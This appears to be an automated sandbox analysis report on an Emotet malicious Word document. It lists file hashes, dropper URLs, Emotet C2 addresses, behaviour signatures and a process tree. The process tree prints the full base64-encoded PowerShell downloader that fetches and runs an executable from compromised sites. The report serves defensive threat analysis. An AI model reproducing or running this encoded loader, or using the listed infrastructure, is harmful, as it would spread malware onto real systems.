Analysis

  • max time kernel
    140s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    26/08/2020, 16:31

General

  • Target
    emotet_e2_de6eef8f559ed20487bd721dbd7d2d2c26871567abca7c8ed929e8a16a3be992_2020-08-26__162901._doc.doc
  • Size 235KB
  • Sample200826-2vtrjc1c6j
  • SHA256 de6eef8f559ed20487bd721dbd7d2d2c26871567abca7c8ed929e8a16a3be992
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://teldesign.com/stats/0W/

  • exe.dropper

    http://www.visu-all.ch/open-array/HP/

  • exe.dropper

    http://xanadudigital.com/condosdominicano.biz/50sWkJ/

  • exe.dropper

    https://literacy.fischertrust.org/wp-incudes/hNsKqF/

  • exe.dropper

    http://creativityonline.fr/aideadomicile-goderville/jcUzC/

  • exe.dropper

    https://bangkokcityjewel.com/cgi-bin/gv9Eb/

  • exe.dropper

    https://dehaine.com/photos/include/JYqfv2/

Extracted

Family
  • emotet

C2
  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_de6eef8f559ed20487bd721dbd7d2d2c26871567abca7c8ed929e8a16a3be992_2020-08-26__162901._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3984
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGADEAaABqADcAXwByAD0AKAAoACcARQAnACsAJwA5AGIAJwApACsAKAAnADcAdAAnACsAJwB4ACcAKQArACcAcwAnACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFQARQBNAHAAXABXAG8AcgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABkAEkAUgBlAGMAdABPAFIAWQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAEMAYABVAFIAYABpAGAAVAB5AHAAUgBPAHQAYABPAGMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAyACcAKwAnACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAnADEALAAnACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAFMAeAA4AGsAXwByADgAIAA9ACAAKAAoACcAUAAnACsAJwA3AGgAaABnACcAKQArACcAcgAnACkAOwAkAFQAcwBhAG0AMQBpAGgAPQAoACgAJwBRACcAKwAnAGkAeQAnACkAKwAoACcAawAnACsAJwA0AG4AYQAnACkAKQA7ACQARAB1AG0AbQA1AGUAOQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBJACcAKwAnAHIAJwArACcAaAB3AG8AcgAnACkAKwAnAGQASQAnACsAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwAwACcAKwAnADEAOQBJAHIAaAAnACkAKQAgACAALQBjAFIAZQBQAEwAQQBjAEUAIAAoAFsAYwBoAEEAcgBdADcAMwArAFsAYwBoAEEAcgBdADEAMQA0ACsAWwBjAGgAQQByAF0AMQAwADQAKQAsAFsAYwBoAEEAcgBdADkAMgApACsAJABTAHgAOABrAF8AcgA4ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEAGMAZQBnADgAYwBjAD0AKAAnAEIAJwArACcAZQAnACsAKAAnADIAegBlAGoAJwArACcAMQAnACkAKQA7ACQAUwA2ADMAbQAyAHQANAA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBjAEwAaQBFAG4AdAA7ACQAVwBwAG0AYgBuAGUAcgA9ACgAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAHQAZQBsAGQAZQBzAGkAJwArACcAZwAnACkAKwAnAG4AJwArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBzAHQAJwArACgAJwBhACcAKwAnAHQAcwAvADAAVwAnACkAKwAnAC8AKgAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAdwB3AHcALgB2AGkAJwApACsAJwBzACcAKwAnAHUAJwArACcALQAnACsAJwBhAGwAJwArACcAbAAnACsAJwAuAGMAJwArACgAJwBoACcAKwAnAC8AbwAnACkAKwAoACcAcABlACcAKwAnAG4AJwArACcALQBhAHIAcgAnACkAKwAnAGEAJwArACgAJwB5AC8ASAAnACsAJwBQACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoAJwArACgAJwAvACcAKwAnAC8AeABhACcAKQArACgAJwBuAGEAZAB1AGQAaQAnACsAJwBnACcAKwAnAGkAdAAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AYwAnACkAKwAoACcAbwAnACsAJwBuAGQAJwApACsAKAAnAG8AcwAnACsAJwBkAG8AbQAnACkAKwAoACcAaQBuACcAKwAnAGkAJwApACsAJwBjAGEAJwArACcAbgAnACsAKAAnAG8AJwArACcALgAnACsAJwBiAGkAegAvADUAMAAnACkAKwAnAHMAJwArACgAJwBXAGsASgAvACoAJwArACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwAnACsAJwA6AC8ALwBsACcAKQArACgAJwBpAHQAJwArACcAZQByACcAKQArACcAYQBjACcAKwAoACcAeQAnACsAJwAuAGYAJwApACsAJwBpACcAKwAoACcAcwBjACcAKwAnAGgAZQAnACsAJwByAHQAcgAnACsAJwB1AHMAdAAuACcAKQArACcAbwByACcAKwAoACcAZwAvAHcAcAAtACcAKwAnAGkAbgAnACsAJwBjAHUAZABlAHMALwAnACkAKwAoACcAaAAnACsAJwBOAHMAJwApACsAJwBLACcAKwAnAHEARgAnACsAJwAvACcAKwAnACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBjAHIAZQBhAHQAaQAnACsAJwB2ACcAKwAnAGkAJwApACsAJwB0AHkAJwArACgAJwBvAG4AJwArACcAbABpACcAKwAnAG4AZQAnACkAKwAnAC4AJwArACgAJwBmACcAKwAnAHIALwBhACcAKQArACgAJwBpACcAKwAnAGQAZQAnACkAKwAoACcAYQBkACcAKwAnAG8AJwArACcAbQBpAGMAaQAnACkAKwAoACcAbAAnACsAJwBlAC0AZwBvACcAKQArACcAZAAnACsAJwBlAHIAJwArACcAdgBpACcAKwAoACcAbABsAGUAJwArACcALwBqACcAKwAnAGMAVQB6AEMAJwApACsAKAAnAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBiACcAKwAnAGEAJwArACcAbgAnACsAJwBnACcAKwAnAGsAbwAnACsAJwBrACcAKwAoACcAYwAnACsAJwBpAHQAeQAnACkAKwAoACcAagBlACcAKwAnAHcAZQAnACkAKwAnAGwALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYwBnACcAKwAnAGkALQAnACsAJwBiAGkAJwArACcAbgAvAGcAdgA5AEUAYgAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZAAnACsAJwBlAGgAJwApACsAKAAnAGEAaQBuACcAKwAnAGUALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACsAJwBwAGgAJwApACsAJwBvAHQAJwArACgAJwBvACcAKwAnAHMALwBpACcAKQArACcAbgBjACcAKwAnAGwAdQAnACsAJwBkAGUAJwArACgAJwAvAEoAWQBxAGYAJwArACcAdgAnACsAJwAyACcAKQArACcALwAnACkALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVAB5AHEAMwA3AHkAMgA9ACgAKAAnAFoAJwArACcAdgBwAHgAJwApACsAKAAnADcAJwArACcAbQAxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQwBlAHcAcwB0AHUAagAgAGkAbgAgACQAVwBwAG0AYgBuAGUAcgApAHsAdAByAHkAewAkAFMANgAzAG0AMgB0ADQALgAiAEQATwBXAGAATgBMAG8AYQBkAGYAYABJAEwARQAiACgAJABDAGUAdwBzAHQAdQBqACwAIAAkAEQAdQBtAG0ANQBlADkAKQA7ACQAUAA4AGMAZQBjAGsAZwA9ACgAJwBMACcAKwAoACcAaABrAHYAcwBzACcAKwAnAGoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAB1AG0AbQA1AGUAOQApAC4AIgBMAGUAYABOAEcAVABIACIAIAAtAGcAZQAgADIANwA0ADgAOAApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABEAHUAbQBtADUAZQA5ACkAOwAkAFgAdQBlADkAaQBlAHIAPQAoACcARAAnACsAJwBnACcAKwAoACcAbQAnACsAJwB5AHAAMAAxACcAKQApADsAYgByAGUAYQBrADsAJABZAGUAaABoAHYAMQBxAD0AKAAoACcAVABtAHoAJwArACcAbwAnACkAKwAnAGYAJwArACcAcwByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBlADAANAB2ADcAbQA9ACgAKAAnAE8AMwAnACsAJwA5ACcAKQArACgAJwBlADUAJwArACcAYgAnACkAKwAnAGEAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Users\Admin\AppData\Local\Temp\word\2019\P7hhgr.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\P7hhgr.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3068
      • C:\Windows\SysWOW64\WinFax\rnr20.exe
        "C:\Windows\SysWOW64\WinFax\rnr20.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2748

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1756-13-0x00000227CF3C0000-0x00000227CF3C1000-memory.dmp

        memory/1756-11-0x00007FFF41580000-0x00007FFF41F6C000-memory.dmp

        memory/1756-12-0x00000227B70B0000-0x00000227B70B1000-memory.dmp

        memory/2748-20-0x00000000007F0000-0x00000000007FC000-memory.dmp

        memory/3068-17-0x0000000000730000-0x000000000073C000-memory.dmp

        memory/3984-10-0x000001F356F52000-0x000001F356F60000-memory.dmp

        memory/3984-9-0x000001F356F52000-0x000001F356F60000-memory.dmp

        memory/3984-0-0x00007FFF4ED40000-0x00007FFF4F406000-memory.dmp

        memory/3984-8-0x000001F356F60000-0x000001F356F6B000-memory.dmp

        memory/3984-7-0x000001F356F52000-0x000001F356F60000-memory.dmp

        memory/3984-6-0x000001F35727E000-0x000001F35728F000-memory.dmp